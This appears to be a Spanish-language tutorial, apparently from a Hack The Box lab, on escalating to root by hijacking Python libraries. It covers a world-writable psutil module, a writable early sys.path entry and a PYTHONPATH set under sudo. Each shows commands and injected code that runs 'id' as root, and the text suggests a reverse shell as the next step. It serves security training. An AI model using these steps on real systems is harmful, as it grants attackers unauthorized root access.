Python Library Hijacking


El secuestro de bibliotecas de Python es una técnica de explotación que se puede utilizar para ejecutar código malicioso con privilegios elevados, como root, al manipular las bibliotecas de Python importadas por un script. Esta técnica se aprovecha de vulnerabilidades relacionadas con permisos incorrectos, rutas de bibliotecas mal configuradas y la variable de entorno PYTHONPATH.


Bibliotecas Comunes de Python:

  • NumPy: Una extensión de código abierto para Python que proporciona funciones para análisis numérico, manejo de listas y matrices extensas, y álgebra lineal.

  • Pandas: Una biblioteca para el procesamiento y análisis de datos, especialmente útil para trabajar con tablas y series temporales.

  • Biblioteca estándar de Python: Incluye módulos para tareas comunes como manejo de archivos, control de procesos, manipulación de fechas, entre otros.


Importación de Módulos en Python:

Python permite importar módulos de diversas maneras:

# Method 1
import pandas

# Method 2
from pandas import *

# Method 3
from pandas import Series

Vulnerabilidades en el Secuestro de Bibliotecas de Python:

  • Existen tres vulnerabilidades principales que pueden ser explotadas para realizar el secuestro de bibliotecas de Python:

  1. Permisos de escritura incorrectos

  2. Ruta de la biblioteca mal configurada

  3. Variable de entorno PYTHONPATH


1. Permisos de Escritura Incorrectos:

  • Supongamos que estamos trabajando en un entorno de desarrollo y tenemos acceso a un script Python con permisos SUID o SGID, lo que significa que podemos ejecutar este script con los privilegios de otro usuario, en este caso, root. Si el script importa un módulo de Python que tiene permisos de escritura para todos los usuarios, podemos modificar el módulo y ejecutar código malicioso.

Script de Python

htb-student@lpenix:~$ ls -l mem_status.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py

Así que podemos ejecutar este script con los privilegios de otro usuario, en nuestro caso, como root. También tenemos permiso para ver el script y leer su contenido.


Script de Python - Contenido

#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")

Este script es bastante simple y solo muestra la memoria virtual disponible en porcentaje. También podemos ver en la segunda línea que este script importa el módulo psutily usa la función virtual_memory().

Entonces podemos buscar esta función en la carpeta de psutily verificar si este módulo tiene permisos de escritura para nosotros.

Permisos del módulo

htb-student@lpenix:~$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


htb-student@lpenix:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

Estos permisos son más comunes en entornos de desarrollo donde muchos desarrolladores trabajan en diferentes scripts y pueden requerir privilegios más altos.

Contenido del módulo

...SNIP...

def virtual_memory():

	...SNIP...
	
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

Esta es la parte de la biblioteca donde podemos insertar nuestro código. Se recomienda colocarla al principio de la función. Allí podemos insertar todo lo que consideremos correcto y efectivo. Podemos importar el módulo ospara realizar pruebas, lo que nos permite ejecutar comandos del sistema. Con esto, podemos insertar el comando idy comprobar durante la ejecución del script si el código insertado se ejecuta.

Contenido del módulo - Secuestro

...SNIP...

def virtual_memory():

	...SNIP...
	#### Hijacking
	import os
	os.system('id')
	

    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

Ahora podemos ejecutar el script sudoy comprobar si obtenemos el resultado deseado.

Escalada de privilegios

htb-student@lpenix:~$ sudo /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
Available memory: 79.22%

Éxito. Como podemos ver en el resultado anterior, logramos secuestrar la biblioteca y ejecutar nuestro código dentro de la virtual_memory()función como root. Ahora que obtuvimos el resultado deseado, podemos editar la biblioteca de nuevo, pero esta vez, insertando un shell inverso que se conecta a nuestro host como root.


Ruta de la Biblioteca:


Listado de PYTHONPATH

htb-student@lpenix:~$ python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

Si un módulo importado se encuentra en una ruta con permisos de escritura y está antes en la lista de búsqueda, podemos reemplazarlo con un módulo malicioso.


Ejemplo:

  • Si el módulo psutil está instalado en /usr/local/lib/python3.8/dist-packages, pero hay una ruta de mayor prioridad donde tenemos permisos de escritura, podemos crear un módulo psutil.py malicioso en esa ruta de alta prioridad. Cuando Python intente importar psutil, cargará nuestra versión maliciosa.

Secuestro del módulo en la ruta de mayor prioridad:

Luego, al ejecutar el script de Python, Python cargará la versión maliciosa del módulo, ejecutando el código malicioso con privilegios de root.


Variable de Entorno PYTHONPATH

La variable PYTHONPATH determina las rutas adicionales en las que Python busca módulos. Si un usuario puede manipular esta variable, puede redirigir la búsqueda de módulos a una ubicación controlada por el atacante.

Ejemplo:

Si tenemos permisos para ejecutar Python con sudo, podemos configurar la variable PYTHONPATH para incluir un directorio que contenga módulos maliciosos:

htb-student@lpenix:~$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
uid=0(root) gid=0(root) groups=0(root)

Last updated